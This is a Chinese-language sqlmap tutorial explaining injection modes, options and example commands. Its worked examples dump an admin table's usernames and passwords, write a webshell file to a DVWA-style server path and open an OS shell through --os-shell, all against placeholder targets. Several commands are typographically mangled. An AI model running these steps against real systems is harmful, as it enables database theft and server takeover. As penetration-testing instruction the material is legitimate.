- 什么是SQLmap
- SQLmap的参数设定
- 几个例子
- SQLmap参数详解
一. 什么是SQLmap
sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并接管数据库服务器。
sqlmap支持五种不同的注入模式:
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持以下数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase,SAP MaxDB
二. SQLmap的参数设置
1. output verbosity -v
通过这个参数来设置输出文本的可见度。共有7个可见度等级,默认等级为1,在这个等级下,information,warning,error,critical messages and python tracebacks会被显示出来。
0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面
2. target
2.1 直接连接数据库 -d
使用sqlmap连接一个数据库,需要下面2种格式的连接字符串。
- DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft SQL Server, PostgreSQL, etc.)
- DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)
示例
1 | python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs --users |
2.2 指定目标URL -u
--url
使用sqlmap测试目标URL,需要下面格式的URL
1 | http(s)://targeturl[:port]/[...] |
示例
1 | python sqlmap.py -u http://www.target.com/vuln.php?id=1" -f --banner --dbs --usersb |
2.3 从站点地图文件中获取目标 -x
为便于搜索引擎收录,许多网站专门为搜索引擎生成了xml格式的站点地图。Sqlmap可以直接解析xml格式的站点地图,从中提取攻击目标,对一个网站全方位无死角地进行注入检测。
示例
1 | python sqlmap.py -x http://www.target.com/sitemap.xml |
2.4 从文本文件中获取目标 -m
将多个目标URL写在一个文本文件中,sqlmap会按顺序扫描每个URL。
示例
将待测URL写在url.txt中,格式如下
1 | www.target1.com/vuln1.php?q=foobar |
运行sqlmap
1 | python sqlmap.py -m url.txt |
2.5 从文本文件中加载HTTP请求 -r
从文本文件中加载原始HTTP请求,这种方式可以让你跳过输入一些参数,如设置cookie,post数据等。
可以使用BurpSuite抓包并保存HTTP请求文件
HTTP请求文件格式
1 | POST /vuln.php HTTP/1.1 |
sqlmap支持HTTPS,可以在命令后加上--force-ssl
强制使用SSL连接到443/tcp端口。也可以在Host
头后加上:443
来使用HTTPS。
3. request
3.1 HTTP 请求方式 --method
sqlmap会自动检测正确的HTTP请求方式。然而,在一些情况下,需要使用不会自动识别的特殊HTTP请求方式,例如PUT
,这时就需要指定请求方式。
For example:
1 | --method=PUT |
3.2 HTTP POST数据 --data
默认情况下,sqlmap使用GET,但你可以通过提供POST数据将请求方式改为POST。这些数据会被当做SQL注入测试的参数。
For example:
1 | $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users |
3.3 指定参数分割符 --param-del
有些情况下,默认参数分割符(如GET和POST中的&
)需要被指定为新的分割符来保证sqlmap可以正常差分并处理每个参数。
For example:
1 | $ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\ |
3.4 HTTP COOKIE
–cookie
–cookie-del
–load-cookies
–drop-set-cookie
使用这些参数的两种情况:
- 测试页面需要基于cookie的登录认证,并且你有这些数据
- 想要测试cookie注入(当
--level
设置为2或更高时,sqlmap会检测cookie注入)
两种情况均需要使用sqlmap发送cookie,可以使用下方步骤发送cookie
- 登录网页
- 从浏览器中获取cookie
- 将第二步获得cookie作为
--cookie
的值
注意,HTTP cookie
中的值通常由;
来分割,而不是&
。sqlmap可以从GET和POST参数中,分辨出cookie并将其作为独立参数。为了防止分割符不是;
可以通过–-cookie-del
来设置分割符。
在后续的连接中,若HTTP响应头仍有Set-Cookie
,sqlmap会自动使用之前设置的cookie,并测试这些值。可以通过--drop-set-cookie
参数使sqlmap忽略Set-Cookie
。
反之,如果你提供了一个HTTP Cookie头,并且使用了--cookie
,而且目标URL每次都发送HTTP Set-Cookie,这时,sqlmap会询问你要为HTTP请求使用哪组cookie。
可以使用--load-cookies
载入文件中包含的Netscape/wget格式的cookie。
三. 几个例子
1. 检测注入
1.1 基本格式
1 | sqlmap -u "http://www.target.com/index.php?id=1" |
默认使用level1检测全部数据库类型
1 | sqlmap -u "http://www.target.com/index.php?id=1" –dbms mysql –level 3 |
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
1.2 cookie注入
1 | sqlmap -u "http://www.target.com/index.php" –cookie "id=11" –level 2 |
当程序有防get注入的时候,可以使用cookie注入(只有level达到2才会检测cookie)
1.3 从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包
sqlmap -r “c:\request.txt” -p “username” –dbms mysql 指定username参数
2. 数据库操作
2.1 获取数据库基本信息
查询有哪些数据库
1 | sqlmap -u “http://www.target.com/index.php?id=1” –dbms mysql –level 3 –dbs |
查询test数据库中有哪些表
1 | sqlmap -u “http://www.target.com/index.php?id=1” –dbms mysql –level 3 -D test –tables |
查询test数据库中admin表有哪些字段
1 | sqlmap -u “http://www.target.com/index.php?id=1” –dbms mysql –level 3 -D test -T admin –columns |
dump出字段username与password中的数据
1 | sqlmap -u “http://www.target.com/index.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump |
2.2 搜索字段
1 | sqlmap -r “c:\request.txt” –dbms mysql -D dedecms –search -C admin,password |
在dedecms数据库中搜索字段admin或者password。
2.3 文件读写
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “c:\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“c:\php\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个xp_dirtree()
函数
四. SQLmap参数详解
1 | –is-dba 当前用户权限(是否为root权限) |